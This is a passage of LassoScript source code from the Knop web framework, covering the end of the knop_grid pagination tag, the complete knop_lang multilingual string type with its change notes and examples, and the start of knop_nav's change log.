#lastpage);\n\t\t\t\t\t#output += ' <a href=\"' + #url_cached_temp + '\" class=\"prevnext last\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_golast) + '\">' + (#lang -> linktext_last) + '</a> ';\n\t\t\t\telse;\n\t\t\t\t\t#output += ' <a href=\"./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) \n\t\t\t\t\t\t+ '-page=' + (#page + 1) + '\" class=\"prevnext next\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_gonext) + '\">' + (#lang -> linktext_next) + '</a> ';\n\t\t\t\t\t#output += ' <a href=\"./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) \n\t\t\t\t\t\t+ '-page=' + #lastpage + '\" class=\"prevnext last\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_golast) + '\">' + (#lang -> linktext_last) + '</a> ';\n\t\t\t\t/if;\n\t\t\telse;\n\t\t\t\t//#output += ' <span class=\"prevnext next dim\">' + (#lang -> linktext_next) + '</span> ';\n\t\t\t/if;\n\t\t\n\t\t\t#output += '</span> ';\n\t\t\n\t\t\n\t\telse;  // regular prev/next links\n\t\t\n\t\t\n\t\t\tif: #page > 1;\n\t\t\t\tif: #url_cached -> size;\n\t\t\t\t\t#url_cached_temp=#url_cached;\n\t\t\t\t\t#url_cached_temp -> replace('-page=###page###', '-page=' + 1);\n\t\t\t\t\t/*#output += ' <a href=\"' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path),\n\t\t\t\t\t\t-urlargs='-page=1') + '\" class=\"prevnext first\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_gofirst) + '\">' + (#lang -> linktext_first) + '</a> ';*/\n\t\t\t\t\t#output += ' <a href=\"' + #url_cached_temp + '\" class=\"prevnext first\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_gofirst) + '\">' + (#lang -> linktext_first) + '</a> ';\n\t\t\n\t\t\t\t\t#url_cached_temp=#url_cached;\n\t\t\t\t\t#url_cached_temp -> replace('-page=###page###', '-page=' + (#page - 1));\n\t\t\t\t\t#output += ' <a href=\"' + #url_cached_temp + '\" class=\"prevnext prev\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_goprev) + '\">' + (#lang -> linktext_prev) + '</a> ';\n\t\t\t\telse;\n\t\t\t\t\t#output += ' <a href=\"./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) \n\t\t\t\t\t\t+ '-page=1\" class=\"prevnext first\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_gofirst) + '\">' + (#lang -> linktext_first) + '</a> ';\n\t\t\n\t\t\t\t\t#output += ' <a href=\"./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) \n\t\t\t\t\t\t+ '-page=' + (#page - 1) + '\" class=\"prevnext prev\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_goprev) + '\">' + (#lang -> linktext_prev) + '</a> ';\n\t\t\t\t/if;\n\t\t\telse;\n\t\t\t\t#output += ' <span class=\"prevnext first dim\">' + (#lang -> linktext_first) + '</span> \\\n\t\t\t\t\t\t\t<span class=\"prevnext prev dim\">' + (#lang -> linktext_prev) + '</span> ';\n\t\t\t/if;\n\t\t\tif: #db -> found_count > #db -> shown_count;\n\t\t\t\t#output += (#lang -> (footer_shown: -replace=(array: (#db -> shown_first), (#db -> shown_last)))) + ' ';\n\t\t\t/if;\n\t\t\t#output += #db -> found_count + ' ' + (#lang -> footer_found);\n\t\t\tif: (#db -> shown_last) < (#db -> found_count);\n\t\t\t\tif: #url_cached -> size;\n\t\t\t\t\t#url_cached_temp=#url_cached;\n\t\t\t\t\t#url_cached_temp -> replace('-page=###page###', '-page=' + (#page + 1));\n\t\t\t\t\t/*#output += ' <a href=\"' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path), \n\t\t\t\t\t\t-urlargs='-page=' + (#page + 1)) + '\" class=\"prevnext next\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_gonext) + '\">' + (#lang -> linktext_next) + '</a> ';*/\n\t\t\t\t\t#output += ' <a href=\"' + #url_cached_temp + '\" class=\"prevnext next\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_gonext) + '\">' + (#lang -> linktext_next) + '</a> ';\n\n\t\t\t\t\t#url_cached_temp=#url_cached;\n\t\t\t\t\t#url_cached_temp -> replace('-page=###page###', '-page=' + #lastpage);\n\t\t\t\t\t#output += ' <a href=\"' + #url_cached_temp + '\" class=\"prevnext last\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_golast) + '\">' + (#lang -> linktext_last) + '</a> ';\n\t\t\t\telse;\n\t\t\t\t\t#output += ' <a href=\"./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) \n\t\t\t\t\t\t+ '-page=' + (#page + 1) + '\" class=\"prevnext next\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_gonext) + '\">' + (#lang -> linktext_next) + '</a> ';\n\t\t\t\t\t#output += ' <a href=\"./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) \n\t\t\t\t\t\t+ '-page=' + ((self -> lastpage)) + '\" class=\"prevnext last\"'\n\t\t\t\t\t\t+ ' title=\"' + (#lang -> linktitle_golast) + '\">' + (#lang -> linktext_last) + '</a> ';\n\t\t\t\t/if;\n\t\t\telse;\n\t\t\t\t#output += ' <span class=\"prevnext next dim\">' + (#lang -> linktext_next) + '</span>  \\\n\t\t\t\t\t\t\t<span class=\"prevnext last dim\">' + (#lang -> linktext_last) + '</span> ';\n\t\t\t/if;\n\t\t/if;\n\t\t#output += '</th></tr>\\n';\n\t\t(local_defined: 'end') ? #output += '</table>\\n';\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: @#output;\n\t/define_tag;\n\t\n\tdefine_tag: 'page', -description='Returns the current page number';\n\t\treturn: (self -> 'page');\n\t/define_tag;\n\t\n\tdefine_tag: 'lastpage', -description='Returns the number of the last page for the found records';\n\t\tif: (self -> 'database') -> 'found_count' > 0;\n\t\t\treturn: (((self -> 'database') -> 'found_count' - 1) / (self -> 'database') -> 'maxrecords_value') + 1;\n\t\telse;\n\t\t\treturn: 1;\n\t\t/if;\n\t/define_tag;\n\t\n\tdefine_tag: 'page_skiprecords', -description='Converts curent page value to a skiprecords value to use in a search. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-maxrecords (required integer) Needed to be able to do the calculation. Maxrecords_value can not be taken from the database object since taht value is not available until aftetr performing the search',\n\t\t-required='maxrecords', -type='integer'; // TODO: maxrecords_value can be taken from the database object so should not be required\n\t\treturn: ((self -> 'page') - 1) * #maxrecords;\n\t/define_tag;\n\t\n\n/define_type;\n\n?>[\n//------------------------------------------------------------------\n//    End knop_grid\n//------------------------------------------------------------------\n\n//##################################################################\n\n][\n//------------------------------------------------------------------\n//    Begin knop_lang\n//------------------------------------------------------------------\n\n]<?LassoScript\n\ndefine_type: 'lang',\n\t'knop_base',\n\t-namespace='knop_';\n//\t-prototype;\n\n\tlocal: 'version'='2010-12-29',\n\t\t\t'description'='A knop_lang object holds all language strings for all supported languages. Strings are \\\n\t\t\t\tstored under a unique text key, but the same key is of course used for the different language \\\n\t\t\t\tversions of the same string. \\n\\\n\t\t\t\tStrings can be separated into different variables if it helps managing them for different contexts. \\n\\\n\t\t\t\tWhen the language of a string object is set, that language is used for all subsequent requests \\\n\t\t\t\tfor strings until another language is set. All other instances on the same page that don\\'t have a \\\n\t\t\t\tlanguage set will also use the same language.  \\n\\\n\t\t\t\tIf no language is set, knop_lang uses the browser\\'s preferred language if it\\'s available in \\\n\t\t\t\tthe knop_lang object, otherwise it defaults to the first language (unless a default language \\\n\t\t\t\thas been set for the instance).';\n\n/*\n\nCHANGE NOTES\n2010-12-29\tJS\t->getstring: make sure we only try to do replacement in strings or bytes\n2010-05-27\tJS\tgetstring now works also with empty -replace value\n2010-04-20\tJS\tgetstring debug output corrected for missing string. \n2009-09-16\tJS\tSyntax adjustments for Lasso 9\n2009-06-26\tJS\t->addstring: clarified deprecation warning\n2009-04-08\tJS\tAdded -debug flag to oncreate (when creating a lang object) to make undefined language keys appear as *key*.\n2009-03-24\tJS\t->getstring prevents replacements if there is no language string found, to prevent null->replace error\n2008-11-12\tJS\tAdded ->insert instead of ->addstring for better consistency with other Lasso data types. ->addstring will remain functional for backwards compatibility. \n2008-09-11\tJS\t->_unknowntag: added missing support for -language\n2008-01-22\tJS\t->getstring: corrected the fallback behavior when a current language has been set \n2008-01-07\tJS\tRemoved instance variable browserlanguage due to problems with transient storage. The browserlanguage is cached on page level so it's no loss in reality. \n2007-12-12\tJS\tAdded page level storage of currentlanguage, so all knop_lang instances defaults to the same language once one of them have set a language explictly, but only if the other knop_lang instances don't have a language set explicitly. \n2007-12-12\tJS\tAdded page level caching of browser language (stores the value in $_knop_data map)\n2007-12-06\tJS\tMoved -> help to knop_base\n2007-12-06\tJS\tAdded ->description to all member tags. \n2007-12-03\tJS\tFinished first complete version\n2007-06-18\tJS\tAdded tag timer to most member tags\n2007-06-13\tJS\tadded inheritance from knop_base\n2007-06-13\tJS\tRenamed to knop_lang (formerly knop_strings)\n2007-04-04\tJS\tCreated the data type and started coding\n\nTODO:\nProvide methods to handle formatting of dates, numbers, currency etc for different languages/locales. \nWeekday names, month names etc. \nMember tag to return the current language\nMember tag to set default output encoding unless it follows encode_set. \n\nExamples\n\tvar: 'lang_messages'=(knop_lang: -default='en');\n\t$lang_messages -> (insert: -key='welcome', -value='Welcome to the home page', -language='en');\n\t$lang_messages -> (insert: -key='welcome', -value='Välkommen till hemsidan', -language='sv');\n\t$lang_messages -> (insert: -key='loggedin', -value='You are logged in as #1# #2#', -language='en');\n\t$lang_messages -> (insert: -key='loggedin', -value='Du är inloggad som #1# #2#', -language='sv');\n\n\t// proper call, defaults to the browser's preferred language\n\t$lang_messages -> (getstring: 'welcome');\n\t// shorthand call\n\t$lang_messages -> welcome;\n\n\t// change language\n\t$lang_messages -> (setlanguage: 'sv');\n\t$lang_messages -> welcome;\n\n\t// proper call with replacements\n\t$lang_messages -> (getstring: -key='loggedin': -replace=(array: (field: 'firstname'), (field: 'lastname')));\n\n\t// shorthand call with replacements\n\t$lang_messages -> (loggedin: -replace=(array: (field: 'firstname'), (field: 'lastname')));\n\n\n*/\n\n\t// instance variables\n\tlocal: 'strings'=map,\t\t// map: language=(map: key=value, key=value), language=...\n\t\t'defaultlanguage'=string,\n\t\t'fallback'=false,\n\t\t'currentlanguage'=null,\t// the currently set language\n\t\t'keys'=null,\t\t\t// cached keys array\n\t\t'debug'=false;\n\n\tdefine_tag: 'oncreate', -description='Creates a new instance of knop_lang. \\n\\\n\t\t\tParameters: \\n\\\n\t\t\t-default (optional) Default language. \\n\\\n\t\t\t-fallback (optional) If specified, falls back to default language if key is missing. \\n\\\n\t\t\t-debug (optional flag) If specified, missing strings will be output using the key surrpunded by asterisks',\n\t\t-optional='default',\t\n\t\t-optional='fallback',\n\t\t-optional='debug';\n\t\tlocal: 'timer'=knop_timer; \n\t\t\n\t\tif(local_defined('default') && #default -> size);\n\t\t\t(self -> 'defaultlanguage') = #default;\n\t\t/if;\n\t\t(self -> 'fallback') = ((local_defined: 'fallback') && #fallback != false);\n\t\t(self -> 'debug') = ((local_defined: 'debug') && #debug != false);\n\t\t\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\t\n\tdefine_tag: 'onconvert', -description='Returns raw dump of the instance for debugging';\n\t\treturn: (self -> dump);\n\t/define_tag;\n\n\tdefine_tag: '_unknowntag', -description='Returns the language string for the specified text key \\\n\t\t\t= shortcut for getstring. \\n\\Parameters: \\n\\\n\t\t\t-language (optional)  see getstring: -language.\\n\\ \n\t\t\t-replace (optional) see getstring: -replace. ',\n\t\t-optional='language',\n\t\t-optional='replace';\n\t\t!(local_defined: 'replace') ? local: 'replace'=string;\n\t\t!(local_defined: 'language') ? local: 'language'=string;\n\t\tif: self -> keys >> tag_name;\n\t\t\treturn: @(self -> (getstring: -key=Tag_name, -language=#language, -replace=#replace));\n\t\telse;\n\t\t\t(self -> 'debug_trace') -> insert('Error: ' + tag_name + ' not found');\n\t\t\t(self -> 'debug') ? return('*' + tag_name + '*');\n\t\t/if;\n\t/define_tag;\n\t\n\n\tdefine_tag: 'addlanguage', -description='Adds a map with language strings for an entire language. Replaces all existing language strings for that language. \\n\\\n\t\t\tParameters: \\n\\\n\t\t\t-language (required) The language to add. \\n\\\n\t\t\t-strings (required) Complete map of key=value for the entire language.',\n\t\t-required='language',\n\t\t-required='strings', -type='map';\n\t\tlocal: 'timer'=knop_timer; \n\t\t(self -> 'keys') = null;\n\t\t(self -> 'strings') -> (insert: #language = #strings);\n\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\n\tdefine_tag('addstring', -description='Deprecated synonym for ->insert',\n\t\t-required='language',\n\t\t-required='key',\n\t\t-required='value');\n\t\t(self -> 'debug_trace') -> insert('*** DEPRECATION WARNING *** ' + tag_name + ' is deprecated, use ->insert instead');\n\t\tself -> insert(-language=#language, -key=#key, -value=#value);\n\t/define_tag;\n\t\n\tdefine_tag: 'insert',-description='Adds an individual language string. \\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-language (required) The language for the string. \\n\\\n\t\t\t-key (required) Textkey to store the string under. Replaces any existing key for the same language. \\n\\\n\t\t\t-value (required) The actual string (can also be compound expression). Can contain replacement tokens #1#, #2# etc. ',\n\t\t-required='language',\n\t\t-required='key',\n\t\t-required='value';\n\t\tlocal: 'timer'=knop_timer; \n\t\t(self -> 'keys') = null;\n\t\tif: (self -> 'strings') !>> #language;\n\t\t\t(self -> 'strings') -> (insert: #language = map);\n\t\t/if;\n\t\t((self -> 'strings') -> (find: #language)) -> (insert: #key = #value);\n\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\tdefine_tag: 'getstring',\t-description='Returns a specific text string in the language that has previously been set for the instance.\\\n\t\t\t\tIf no language has been set, the browser\\'s preferred language will be used unless another instance on the same page \\\n\t\t\t\thas a language set using ->setlanguage. \\n\\\n\t\t\t\tIf the string is not available in the chosen language and -fallback was specified, \\\n\t\t\t\tthe string for the language that was first specified for that key will be returned. \\n\\\n\t\t\t\tParameters: \\n\\\n\t\t\t\t-key (required) textkey to return the string for. \\n\\\n\t\t\t\t-language (optional) to return a string for a specified language (temporary override). \\n\\\n\t\t\t\t-replace (optional) single value or array of values that will be used as substitutions for placeholders #1#, #2# etc in the returned string, in the order they appear. Replacements can be compund expressions, which will be executed.  Can also be map or pair array, and in that case the left hand element of the map/array will be replaced by the right hand element. ',\n\t\t-required='key',\n\t\t-optional='language', -copy,\n\t\t-optional='replace', -copy;\n\t\t\t\t\t\t\t\t\t\t\n\t\tif: (var: '_knop_data') -> type != 'map';\n\t\t\t// page level caching\n\t\t\t$_knop_data = map;\n\t\t/if;\n\n\t\t!(local_defined: 'language') ? local: 'language'=string;\n\n\t\tlocal: 'timer'=knop_timer; \n\t\tlocal: 'output'=string;\n\t\tif: #language -> size == 0 || !(self -> (validlanguage: #language));\n\t\t\t#language=(self -> 'currentlanguage');\n\t\t\tif: #language -> size == 0;\n\t\t\t\tif: $_knop_data >> 'currentlanguage' && self -> (validlanguage: ($_knop_data -> (find: 'currentlanguage')));\n\t\t\t\t\t// fall back to page level language\n\t\t\t\t\t#language = $_knop_data -> find('currentlanguage');\n\t\t\t\telse;\n\t\t\t\t\t// fall back to the browser's preferred language\n\t\t\t\t\t#language=(self -> browserlanguage);\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t\tif: #language -> size == 0 && self -> (validlanguage: (self -> 'defaultlanguage'));\n\t\t\t\t// still no matching language, fall back to defaultlanguage\n\t\t\t\t#language = (self -> 'defaultlanguage');\n\t\t\telse: #language -> size == 0;\n\t\t\t\t// still no matching language, fall back to the first language\n\t\t\t\t#language = (self -> 'strings') -> keys -> first;\n\t\t\t/if;\n\t\t\tif: (self -> 'strings') !>> #language\n\t\t\t\t|| ((self -> 'strings') >> #language\n\t\t\t\t\t&& (self -> 'strings') -> (find: #language) !>> #key\n\t\t\t\t\t&& (self -> 'fallback'));\n\t\t\t\t// key is not found in current language, switch to default language\n\t\t\t\tif: self -> (validlanguage: (self -> 'defaultlanguage'));\n\t\t\t\t\t// still no matching language, fall back to defaultlanguage\n\t\t\t\t\t#language = (self -> 'defaultlanguage');\n\t\t\t\telse;\n\t\t\t\t\t// no default language to fall back to\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t/if;\n\t\tif: (self -> 'strings') >> #language;\n\t\t\tif((self -> 'strings') -> find(#language) !>> #key);\n\t\t\t\t(self -> 'debug_trace') -> insert('Error: ' + #key + ' not found');\n\t\t\t\tself -> 'tagtime_tagname'=tag_name;\n\t\t\t\tself -> 'tagtime'=integer(#timer); // cast to integer to trigger onconvert and to \"stop timer\"\n\t\t\t\t(self -> 'debug') \n\t\t\t\t\t? return('*' + #key + '*') \n\t\t\t\t\t| return;\n\t\t\t/if;\n\t\t\t#output = (self -> 'strings') -> (find: #language) -> (find: #key);\n\t\t\t//(self -> 'debug_trace') -> (insert: tag_name + ': found string \"' + (encode_html: #output) + '\" for key \"' + #key + '\" and language ' + #language);\n\t\t\t\n\t\t\tif: #output -> (isa: 'tag');\n\t\t\t\t// execute compund expression\n\t\t\t\t#output = #output -> run;\n\t\t\t/if;\n\t\t\tif((#output -> isa('string') || #output -> isa('bytes')) \n\t\t\t\t&& #output -> size && (local_defined: 'replace'));\n\t\t\t\t// replace placeholders with real values\n\t\t\t\tif: !(#replace -> (isa: 'array')) && !(#replace -> (isa: 'map'));\n\t\t\t\t\t#replace = (array: #replace);\n\t\t\t\t/if;\n\t\t\t\titerate: #replace, local: 'replacement';\n\t\t\t\t\t// make sure we have a pair\n\t\t\t\t\tif: !(#replacement -> (isa: 'pair'));\n\t\t\t\t\t\t#replacement = (pair: '#' + loop_count + '#' = #replacement);\n\t\t\t\t\t/if;\n\t\t\t\t\t// if we have a compund expression as replacement, execute the replacement first\n\t\t\t\t\tif: (#replacement -> value -> (isa: 'tag'));\n\t\t\t\t\t\t(#replacement -> value) = #replacement -> value -> run;\n\t\t\t\t\t/if;\n\t\t\t\t\t#output -> (replace: #replacement -> name, #replacement -> value);\n\t\t\t\t/iterate;\n\t\t\t/if;\n\t\t/if;\n\t\t\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: #output;\n\t\t\n\t/define_tag;\n\t\n\tdefine_tag: 'setlanguage', -description='Sets the current language for the string object. Also affects other instances on the same page that do not have an explicit language set. ',\n\t\t-required='language';\n\t\tlocal: 'timer'=knop_timer; \n\t\tif: (var: '_knop_data') -> type != 'map';\n\t\t\t// page level caching\n\t\t\t$_knop_data = map;\n\t\t/if;\n\t\tif: self -> (validlanguage: #language);\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': Setting language to ' + #language);\n\t\t\t(self -> 'currentlanguage') = #language;\n\t\t\t// save page level language\n\t\t\t$_knop_data -> insert('currentlanguage' = #language);\n\t\telse;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': Could not set current language to ' + #language + ' since it does not exist in the lang object');\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\t\n\tdefine_tag: 'validlanguage', -description='Checks if a specified language exists in the string object, \\\n\t\treturns true or false.',\n\t\t-required='language';\n\t\treturn: (self -> 'strings') -> keys >> #language;\n\t/define_tag;\n\t\n\tdefine_tag: 'browserlanguage', -description='Autodetects and returns the most preferred language \\\n\t\t\tout of all available languages as specified by the browser\\'s accept-language q-value. ';\n\t\t\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tlocal: 'browserlanguage'=string;\n\n\t\tif: (var: '_knop_data') -> type != 'map';\n\t\t\t// page level caching\n\t\t\t$_knop_data = map;\n\t\t/if;\n\n\t\tif: $_knop_data >> 'browserlanguage';\n\t\t\t// use page cache\n\t\t\t#browserlanguage = $_knop_data -> find('browserlanguage');\n\n\t\telse;\n\t\t\tlocal: 'requestheader'=client_headers -> (split: '\\r\\n'),\n\t\t\t\t'acceptlanguage'=string,\n\t\t\t\t'browserlanguages'=array;\n\t\t\t\n\t\t\titerate: #requestheader, (local: 'headerfield'); \n\t\t\t\t// strip IIS header prefix\n\t\t\t\t#headerfield -> (removeleading: 'HTTP_');\n\t\t\t\t\n\t\t\t\tif: #headerfield -> (beginswith: 'Accept-Language:'); \n\t\t\t\t\t#acceptlanguage=#headerfield;\n\t\t\t\t\tloop_abort;\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t\t#acceptlanguage -> (removeleading: 'Accept-Language:');\n\t\t\t#acceptlanguage -> trim;\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': Accept-Language: ' + #acceptlanguage);\n\t\t\t#acceptlanguage = #acceptlanguage -> (split: ',');\n\t\t\titerate: #acceptlanguage, local: 'language';\n\t\t\t\t#language = #language -> (split: ';');\n\t\t\t\tif: #language -> size == 1;\n\t\t\t\t\t// no q value specified, use default 1.0\n\t\t\t\t\t#language -> (insert: 'q=1.0');\n\t\t\t\t/if;\n\t\t\t\t(#language -> first) -> trim; \n\t\t\t\tif: #language -> size >= 2 && #language -> first -> size;\n\t\t\t\t\t(#language -> second) = (#language -> second) -> (split: '=') -> last;\n\t\t\t\t\t(#language -> second) -> trim; \n\t\t\t\t\t#browserlanguages -> (insert: (decimal: (#language -> second)) = (#language -> first) );\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t\t#browserlanguages -> (sort: -ascending=false);\n\t\n\t\t\t// find the most preferred language\n\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': looking for matching languages ');\n\t\t\titerate: #browserlanguages, local: 'language';\n\t\t\t\tif: (self -> validlanguage: (#language -> second));\n\t\t\t\t\t/// found a valid language\n\t\t\t\t\t#browserlanguage=#language -> second;\n\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': found valid language ' + #browserlanguage);\n\t\t\t\t\tloop_abort;\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t\tif: #browserlanguage -> size == 0;\n\t\t\t\t// no matching language found, try again without locale\n\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': no valid language found, looking again without locale ' + #language);\n\t\t\t\titerate: #browserlanguages, local: 'language';\n\t\t\t\t\t(#language -> second) = (#language -> second) -> (split: '-') -> first;\n\t\t\t\t\tif: (self -> validlanguage: (#language -> second));\n\t\t\t\t\t\t/// found a valid language\n\t\t\t\t\t\t#browserlanguage=#language -> second;\n\t\t\t\t\t\t(self -> 'debug_trace') -> (insert: tag_name + ': found valid language ' + #browserlanguage);\n\t\t\t\t\t\tloop_abort;\n\t\t\t\t\t/if;\n\t\t\t\t/iterate;\n\t\t\t/if;\n\t\t\t$_knop_data -> insert('browserlanguage'=#browserlanguage);\n\t\t/if;\n\t\t\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: #browserlanguage;\n\n\t/define_tag;\n\t\n\tdefine_tag: 'languages', -description='Returns an array of all available languages in the string object \\\n\t\t\t(out of the languages in the -language array if specified). \\n\\\n\t\t\tParameters: \\n\\\n\t\t\t-language (optional) string or array of strings.',\n\t\t-optional='language', -copy;\n\t\tlocal: 'timer'=knop_timer; \n\n\t\tlocal: 'languages'=(self -> 'strings') -> keys;\n\t\tif: (local_defined: 'language');\n\t\t\tif: !(#language -> (isa: 'array'));\n\t\t\t\t#language = array: #language;\n\t\t\t/if;\n\t\t\t#languages -> sort;\n\t\t\t#language -> sort;\n\t\t\t// get the languages that exist in both arrays\n\t\t\t#languages = #languages -> (intersection: #language);\n\t\t/if;\n\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: #languages;\n\t/define_tag;\n\t\n\tdefine_tag: 'keys', -description='Returns array of all text keys in the string object. ';\n\t\tif: !((self -> 'keys') -> (isa: 'array'));\n\t\t\tlocal: 'keysarray'=array, 'keysmap'=map, 'keysarray_new'=array;\n\t\t\t// no cached result yet - create list of all keys\n\t\t\titerate: (self -> 'strings'), local: 'strings_language';\n\t\t\t\t#keysarray_new = #strings_language -> value -> keys;\n\t\t\t\t#keysarray_new -> sort;\n\t\t\t\t#keysarray -> sort;\n\t\t\t\t// add the keys that are not already in #keysarray by using union\n\t\t\t\t#keysarray = #keysarray -> (union: #keysarray_new);\n\t\t\t/iterate;\n\t\t\t(self -> 'keys') = #keysarray;\n\t\t/if;\n\t\treturn: (self -> 'keys');\n\t/define_tag;\n\t\n\n/define_type;\n\n?>\n[\n//------------------------------------------------------------------\n//    End knop_lang\n//------------------------------------------------------------------\n\n//##################################################################\n\n][\n//------------------------------------------------------------------\n//    Begin knop_nav\n//------------------------------------------------------------------\n\n]<?LassoScript\n\ndefine_type: 'nav',\n\t'knop_base',\n\t-namespace='knop_';\n//\t-prototype;\n\n\tlocal: 'version'='2010-11-17',\n \t\t'description'='Custom type to handle site navigation menu';\n\n/*\n\nCHANGE NOTES\n2010-11-17\tJC\tFixed bug so that session links no longer gets added to urls by the nav -> url tag.\n2010-11-17\tJC\tFixed a bug that would not convert local params to an array under certain situations\n2009-09-18\tJS\tSyntax adjustments for Lasso 9\n2009-09-04\tJS\t->linkparams: Multiple paramaters with the same name (typically checkboxes) are now passed properly\n2009-05-06\tJS\t->directorytree considers _include folders as part of the Knop directory structure. nav->include('_include/myfile.inc') will first look for _include/myfile.inc and if not found it will look for _knop/_include/myfile.inc \n2009-05-05\tJS\t->include looks for a specified file also inside a _knop folder, if the file does not exist at the specified location\n2009-02-09\tJS\t->filename: Casting path and actionpath to string\n2008-12-19\tJS\t->filename (and consequently ->include and ->library) can now use a specific -path instead of the current location's path\n2008-12-09\tJS\t->linkparams: fixed undefined local in trace call (only showed when trace was enabled for the nav object)\n2008-11-25\tJS\t->getlocation will now avoid disabled and hidden pages when looking for the first page if no default page is specified\n2008-11-03\tJS\t->getlocation will not break if no navigation items have been defined\n2008-10-30\tJS\t_mod folders will now work with knop paths with just a single level, so an include file path can end up as _mod_customer/lib_customer.inc or just _mod_customer/lib.inc (the latter variant does not apply to extension-based filenaming, so _mod_customer/.lib will never be a working file path)\n2008-07-10\tJS\tAdded -> label to return the name of the current page\n2008-05-20\tJS\t->renderhtml: #current# is not automatically added to the template if the more elaborate template format is used. This makes it easier to hide the currentmarker without changing the nav config (partial revert of fix 2008-01-04). \n2008-05-08\tJS\t->insert: A duplicate key does no longer cause a fatal error but instead fails silently and logs to the debug log\n2008-05-07\tJS\t->url: will now call ->linkparams so all links that are constructed from ->url will properly send along the parameters specified in the nav item. This also affects pagination and sort links in grid. \n2008-05-07\tJS\tAdded ->linkparams, Returns an array for all parameters that should be sent along with nav links (this was previously embedded in renderhtml)\n2008-02-25\tJS\t->url: new parameter -getargs to add the getargs to the path link if the path equals the current path\n2008-02-06\tJC\t->insert: the -hide flag can now be a boolean (also the -disabled flag)\n2008-02-03\tJS\t->include: can now include any specified filename\n2008-02-01\tJS\t->oncreate: added optional -fileroot to be able to use a root for files that is different from the logical site root used for navigation \n2008-01-23\tJS\t->url: Added -autoparams that is required to enable the automatic passing of action_params that begin with \"-\" (this reverts the default behavior to match the the old)\n2008-01-22\tJS\t->url: GET params that begin with \"-\" are sent as parameters on links. -path, -sort, -desc, -q are explicitly excluded from nav links in renderhtml. \n2008-01-22\tJS\tWhen using param based navigation, navigation links now use much cleaner /?path/to/page/ style links instead of /?-path=path/to/page/\n2008-01-22\tJS\t->getlocation: when navmethod is param, the path can now be sent as unnamed parameter insetad of -path parameter (such as /?path/to/page/). \n2008-01-04\tJS\t->renderbreadcrumb: added flag -plain to output breadcrumb without html\n2008-01-04\tJS\t->renderbreadcrumb: added flag -skipcurrent to not include the current location in the output\n2008-01-04\tJS\t->insert: -template can now be specified also for individual nav items. Use the form #link##label##current##/link##children#. \n2008-01-04\tJS\t->renderhtml: changed #title# to #label# in template for clarity, for example #link##label##current##/link##children# (#title# will remain supported)\n2008-01-04\tJS\tAdded #current# as placeholder for template, to specify where the current marker should occurr. If not specified in the template, the current marker appears immediately after the label.\n2007-12-12\tJS\t->include now logs processing time for the include to debug trace\n2007-12-11\tJS\tAdded documentation as -description to most member tags, to be used by the new ->help tag\n2007-12-11\tJS\tMoved ->help to knop_base\n2007-12-04\tJS\tnav item css class is now applied also to disabled nav items (rendered as <span>)\n2007-11-08\tJS\tChanged trace so it tracks some things even when it's not enabled (like include etc)\n2007-11-05\tJS\tAdded var name to trace output\n2007-10-28\tJS\t->directorytree: should now work also when knop folders are symlinks\n2007-09-06\tJS\ttop level nav elements that are -disabled now behave properly when accessed\n2007-09-05\tJS\t-currentmarker can now be set separately on sublevels, not only on topmost level\n2007-08-29\tJS\tAdded _knop as optional base folder to put all knop files 